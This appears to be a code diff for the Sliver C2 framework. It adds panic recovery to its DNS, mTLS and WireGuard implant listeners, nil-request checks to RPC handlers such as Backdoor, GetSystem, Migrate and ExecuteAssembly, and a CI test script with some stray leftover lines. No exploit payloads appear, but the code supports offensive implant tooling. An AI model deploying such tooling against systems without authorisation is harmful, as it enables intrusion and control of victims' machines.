if go test -timeout 10m -tags=server,$TAGS ./server/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / website
|
||||
if go test -tags=server,$TAGS ./server/website ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / loot
|
||||
if go test -tags=server,$TAGS ./server/loot ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / certs
|
||||
if go test -tags=server,$TAGS ./server/certs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / cryptography
|
||||
if go test -tags=server,$TAGS ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders / shellcode / sgn
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders / shellcode / arm64
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo / goname
|
||||
if go test -tags=server,$TAGS ./server/gogo/goname ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server,$TAGS ./server/gogo ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2
|
||||
if go test -tags=server,$TAGS ./server/c2 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (mtls + wg + yamux)
|
||||
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (dns)
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server,$TAGS ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server,$TAGS ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
## Server generate
|
||||
if [ "$SKIP_GENERATE" -eq 0 ]; then
|
||||
export GOPROXY=off
|
||||
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
export GOPROXY=off
|
||||
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
|
||||
# parallelism conservative by default to avoid OOM kills on smaller systems.
|
||||
GENERATE_GOMAXPROCS="${SLIVER_GENERATE_GOMAXPROCS:-2}"
|
||||
GENERATE_GO_P="${SLIVER_GENERATE_GO_P:-1}"
|
||||
GENERATE_TEST_PARALLEL="${SLIVER_GENERATE_TEST_PARALLEL:-1}"
|
||||
run_test_cmd "./server/generate" \
|
||||
env GOMAXPROCS="$GENERATE_GOMAXPROCS" \
|
||||
go test -timeout 6h -p "$GENERATE_GO_P" -parallel "$GENERATE_TEST_PARALLEL" -tags="server,$TAGS" ./server/generate || exit 1
|
||||
else
|
||||
echo "Skipping ./server/generate tests (--skip-generate)"
|
||||
fi
|
||||
|
||||
# server / rpc / spoof metadata
|
||||
if go test -vet=off -tags=server,$TAGS ./server/rpc -run '^TestGenerateSpoofMetadataAppliesPETimestampOverBufnet$' -count=1 -timeout 30m ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log 2>/dev/null || true
|
||||
exit 1
|
||||
echo
|
||||
echo "Skipping ./server/generate tests (--skip-generate)"
|
||||
fi
|
||||
@@ -278,9 +278,7 @@ func TestProvider_ParseEnvProxy(t *testing.T) {
|
||||
if tt.expectError == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectError.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -325,9 +323,7 @@ func TestProvider_ConfigProviderParseEnvURL(t *testing.T) {
|
||||
if tt.expectError == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectError.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@@ -116,9 +116,7 @@ func TestNewProxy(t *testing.T) {
|
||||
if tt.expectErr == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectErr.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func assertErrEqualIgnoreQuotes(t *testing.T, expected error, actual error) {
|
||||
t.Helper()
|
||||
if expected == nil {
|
||||
assert.NoError(t, actual)
|
||||
return
|
||||
}
|
||||
|
||||
if assert.Error(t, actual) {
|
||||
expectedMsg := strings.ReplaceAll(expected.Error(), "\"", "")
|
||||
actualMsg := strings.ReplaceAll(actual.Error(), "\"", "")
|
||||
assert.Equal(t, expectedMsg, actualMsg)
|
||||
}
|
||||
}
|
||||
@@ -67,9 +67,7 @@ func TestParseURL(t *testing.T) {
|
||||
if tt.expectError == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectError.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -191,9 +189,7 @@ func TestSplitHostPort(t *testing.T) {
|
||||
if tt.expectErr == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectErr.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
+16
-1
@@ -100,6 +100,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
||||
server.startInitGC()
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns request callback")
|
||||
|
||||
started := time.Now()
|
||||
server.HandleDNSRequest(domains, canaries, writer, req)
|
||||
dnsLog.Debugf("DNS server took %s", time.Since(started))
|
||||
@@ -226,6 +228,8 @@ func (s *DNSSession) IncomingPendingEnvelope(msgID uint32, size uint32) *Pending
|
||||
|
||||
// ForwardCompletedEnvelope - Reassembles and forwards envelopes to core
|
||||
func (s *DNSSession) ForwardCompletedEnvelope(msgID uint32, pending *PendingEnvelope) {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns ForwardCompletedEnvelope")
|
||||
|
||||
dnsLog.Debugf("[dns] dns session id: %d, msg id: %d completed message", s.ID, msgID)
|
||||
s.incomingMutex.Lock()
|
||||
delete(s.incomingEnvelopes, msgID) // Remove pending message
|
||||
@@ -373,6 +377,8 @@ func (s *SliverDNSServer) startInitGC() {
|
||||
s.gcStop = make(chan struct{})
|
||||
s.gcDone = make(chan struct{})
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns init gc")
|
||||
|
||||
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
|
||||
defer ticker.Stop()
|
||||
defer close(s.gcDone)
|
||||
@@ -420,6 +426,8 @@ func (s *SliverDNSServer) gcPendingInits() {
|
||||
// ---------------------------
|
||||
// Handles all DNS queries, first we determine if the query is C2 or a canary
|
||||
func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns HandleDNSRequest")
|
||||
|
||||
if req == nil {
|
||||
dnsLog.Info("req can not be nil")
|
||||
return
|
||||
@@ -682,6 +690,8 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns session send loop")
|
||||
|
||||
dnsLog.Debugf("[dns] starting implant conn send loop")
|
||||
for envelope := range dnsSession.ImplantConn.Send {
|
||||
dnsSession.StageOutgoingEnvelope(envelope)
|
||||
@@ -830,7 +840,10 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
|
||||
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
||||
complete := pending.Insert(msg)
|
||||
if complete {
|
||||
go dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns completed envelope dispatch")
|
||||
dnsSession.ForwardCompletedEnvelope(msg.ID, pending)
|
||||
}()
|
||||
}
|
||||
|
||||
resp := new(dns.Msg)
|
||||
@@ -981,6 +994,8 @@ func (s *SliverDNSServer) handleNOP(domain string, msg *dnspb.DNSMessage, checks
|
||||
func (s *SliverDNSServer) handleCanary(req *dns.Msg) *dns.Msg {
|
||||
// Don't block, return error as fast as possible
|
||||
go func() {
|
||||
defer recoverAndLogPanic(dnsLog.Errorf, "dns handleCanary")
|
||||
|
||||
reqDomain := strings.ToLower(req.Question[0].Name)
|
||||
if !strings.HasSuffix(reqDomain, ".") {
|
||||
reqDomain += "." // Ensure we have the FQDN
|
||||
|
||||
@@ -126,6 +126,8 @@ func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error)
|
||||
}
|
||||
|
||||
func acceptSliverConnections(ln net.Listener) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls acceptSliverConnections")
|
||||
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
@@ -140,6 +142,8 @@ func acceptSliverConnections(ln net.Listener) {
|
||||
}
|
||||
|
||||
func handleSliverConnection(conn net.Conn) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnection")
|
||||
|
||||
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())
|
||||
|
||||
@@ -174,6 +178,8 @@ func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
|
||||
}
|
||||
|
||||
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls handleSliverConnectionYamux")
|
||||
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
|
||||
@@ -196,6 +202,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux accept loop")
|
||||
for {
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
@@ -216,6 +223,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux stream")
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := socketReadEnvelope(stream)
|
||||
@@ -239,6 +247,8 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
if handler, ok := handlers[envelope.Type]; ok {
|
||||
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls message handler")
|
||||
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
@@ -251,6 +261,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender loop")
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
@@ -264,6 +275,7 @@ func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnect
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
defer recoverAndLogPanic(mtlsLog.Errorf, "mtls yamux sender stream")
|
||||
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
package c2
|
||||
|
||||
import "runtime/debug"
|
||||
|
||||
func recoverAndLogPanic(logf func(string, ...interface{}), scope string) {
|
||||
if recovered := recover(); recovered != nil {
|
||||
logf("Recovered panic in %s: %v\n%s", scope, recovered, string(debug.Stack()))
|
||||
}
|
||||
}
|
||||
@@ -168,6 +168,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
|
||||
|
||||
// acceptKeyExchangeConnection - accept connections to key exchange socket
|
||||
func acceptKeyExchangeConnection(ln net.Listener) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptKeyExchangeConnection")
|
||||
|
||||
wgLog.Printf("Polling for connections to key exchange listener")
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
@@ -188,6 +190,8 @@ func acceptKeyExchangeConnection(ln net.Listener) {
|
||||
// Generate new implant wg keys. Generate new unique IP for implant.
|
||||
// Write all retrieved data to socket connection.
|
||||
func handleKeyExchangeConnection(conn net.Conn) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleKeyExchangeConnection")
|
||||
|
||||
wgLog.Infof("Handling connection to key exchange listener")
|
||||
|
||||
defer conn.Close()
|
||||
@@ -213,6 +217,8 @@ func handleKeyExchangeConnection(conn net.Conn) {
|
||||
}
|
||||
|
||||
func acceptWGSliverConnections(ln net.Listener) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard acceptWGSliverConnections")
|
||||
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
@@ -227,6 +233,8 @@ func acceptWGSliverConnections(ln net.Listener) {
|
||||
}
|
||||
|
||||
func handleWGSliverConnection(conn net.Conn) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnection")
|
||||
|
||||
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
|
||||
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
|
||||
@@ -262,6 +270,8 @@ func (c *wgBufferedConn) Read(p []byte) (int, error) {
|
||||
}
|
||||
|
||||
func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard handleWGSliverConnectionYamux")
|
||||
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
wgLog.Errorf("Failed to initialize yamux session: %v", err)
|
||||
@@ -284,6 +294,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux accept loop")
|
||||
for {
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
@@ -304,6 +315,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux stream")
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := socketWGReadEnvelope(stream)
|
||||
@@ -326,6 +338,8 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
|
||||
if handler, ok := handlers[envelope.Type]; ok {
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard message handler")
|
||||
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
@@ -338,6 +352,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender loop")
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
@@ -351,6 +366,7 @@ func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConne
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
defer recoverAndLogPanic(wgLog.Errorf, "wireguard yamux sender stream")
|
||||
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -66,7 +67,10 @@ func hostsSessionCallback(session *Session) {
|
||||
}
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
coreLog.Infof("Session %v is from a new host", session.ID)
|
||||
err := dbSession.Create(&models.Host{
|
||||
err := dbSession.Clauses(clause.OnConflict{
|
||||
Columns: []clause.Column{{Name: "host_uuid"}},
|
||||
DoNothing: true,
|
||||
}).Create(&models.Host{
|
||||
HostUUID: uuid.FromStringOrNil(session.UUID),
|
||||
Hostname: session.Hostname,
|
||||
OSVersion: session.OS,
|
||||
@@ -94,7 +98,10 @@ func hostsBeaconCallback(beacon *models.Beacon) {
|
||||
}
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
coreLog.Infof("Beacon %v is from a new host", beacon.ID)
|
||||
err := dbSession.Create(&models.Host{
|
||||
err := dbSession.Clauses(clause.OnConflict{
|
||||
Columns: []clause.Column{{Name: "host_uuid"}},
|
||||
DoNothing: true,
|
||||
}).Create(&models.Host{
|
||||
HostUUID: uuid.FromStringOrNil(beacon.UUID.String()),
|
||||
Hostname: beacon.Hostname,
|
||||
OSVersion: beacon.OS,
|
||||
|
||||
@@ -39,6 +39,11 @@ import (
|
||||
|
||||
// Backdoor - Inject a sliver payload in a file on the remote system
|
||||
func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*clientpb.Backdoor, error) {
|
||||
resp := &clientpb.Backdoor{}
|
||||
if req == nil || req.Request == nil {
|
||||
return resp, ErrMissingRequestField
|
||||
}
|
||||
|
||||
var (
|
||||
name string
|
||||
err error
|
||||
@@ -55,8 +60,10 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
|
||||
name = req.Name
|
||||
}
|
||||
|
||||
resp := &clientpb.Backdoor{}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
if session.OS != "windows" {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("%s is currently not supported", session.OS))
|
||||
}
|
||||
|
||||
@@ -52,6 +52,9 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
resp := &clientpb.DllHijack{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if req == nil || req.Request == nil {
|
||||
return resp, ErrMissingRequestField
|
||||
}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return resp, ErrInvalidSessionID
|
||||
|
||||
@@ -37,6 +37,11 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
|
||||
beacon *models.Beacon
|
||||
err error
|
||||
)
|
||||
|
||||
if kill == nil || kill.Request == nil {
|
||||
return &commonpb.Empty{}, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(kill.Request.SessionID)
|
||||
if session == nil {
|
||||
beacon, err = db.BeaconByID(kill.Request.BeaconID)
|
||||
|
||||
@@ -38,6 +38,11 @@ var (
|
||||
func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) {
|
||||
var os string
|
||||
var arch string
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -90,6 +95,11 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
|
||||
func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*sliverpb.Task, error) {
|
||||
var os string
|
||||
var arch string
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
|
||||
@@ -28,6 +28,10 @@ import (
|
||||
|
||||
// Portfwd - Open an in-band port forward
|
||||
func (s *Server) Portfwd(ctx context.Context, req *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
|
||||
@@ -83,6 +83,10 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
name string
|
||||
)
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
@@ -159,6 +163,10 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
|
||||
|
||||
// GetPrivs - gRPC interface to get privilege information from the current process
|
||||
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
sessionID := req.Request.SessionID
|
||||
|
||||
resp := &sliverpb.GetPrivs{Response: &commonpb.Response{}}
|
||||
|
||||
@@ -33,6 +33,10 @@ const maxNameLength = 32
|
||||
|
||||
// Reconfigure - Reconfigure a beacon/session
|
||||
func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
// We have to preserve these because GenericHandler clears them in req.Request
|
||||
sessionID := req.Request.SessionID
|
||||
beaconID := req.Request.BeaconID
|
||||
|
||||
@@ -38,6 +38,10 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
|
||||
|
||||
// StartRportfwdListener - Instruct the implant to start a reverse port forward
|
||||
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
@@ -55,6 +59,10 @@ func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.Rpor
|
||||
|
||||
// StopRportfwdListener - Instruct the implant to stop a reverse port forward
|
||||
func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
|
||||
@@ -49,6 +49,10 @@ func (rpc *Server) GetSessions(ctx context.Context, _ *commonpb.Empty) (*clientp
|
||||
|
||||
// KillSession - Kill a session
|
||||
func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
|
||||
if kill == nil || kill.Request == nil {
|
||||
return &commonpb.Empty{}, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(kill.Request.SessionID)
|
||||
if session == nil {
|
||||
return &commonpb.Empty{}, ErrInvalidSessionID
|
||||
@@ -75,6 +79,10 @@ func (rpc *Server) OpenSession(ctx context.Context, openSession *sliverpb.OpenSe
|
||||
|
||||
// CloseSession - Close an interactive session, but do not kill the remote process
|
||||
func (rpc *Server) CloseSession(ctx context.Context, closeSession *sliverpb.CloseSession) (*commonpb.Empty, error) {
|
||||
if closeSession == nil || closeSession.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(closeSession.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
|
||||
@@ -36,6 +36,10 @@ var (
|
||||
|
||||
// Shell - Open an interactive shell
|
||||
func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb.Shell, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
@@ -62,6 +66,10 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
|
||||
|
||||
// ShellResize - Resize a shell PTY (best effort)
|
||||
func (rpc *Server) ShellResize(ctx context.Context, req *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
|
||||
@@ -155,6 +155,13 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
|
||||
rpcLog.Warnf("Error on stream recv %s", err)
|
||||
return rpcError(err)
|
||||
}
|
||||
if fromClient == nil {
|
||||
continue
|
||||
}
|
||||
if fromClient.Request == nil {
|
||||
rpcLog.Warnf("Ignoring SOCKS frame with missing request metadata for tunnel %d", fromClient.TunnelID)
|
||||
continue
|
||||
}
|
||||
|
||||
tunnelMutex.Lock()
|
||||
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
|
||||
@@ -348,6 +355,10 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if fromClient.Request == nil {
|
||||
rpcLog.Error("Missing request metadata for SOCKS tunnel")
|
||||
break
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(fromClient.Request.SessionID)
|
||||
if session == nil {
|
||||
|
||||
@@ -67,6 +67,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
var dbBeacon *models.Beacon
|
||||
var err error
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async { // is this a session?
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -197,6 +201,11 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
var beacon *clientpb.Beacon
|
||||
var dbBeacon *models.Beacon
|
||||
var err error
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
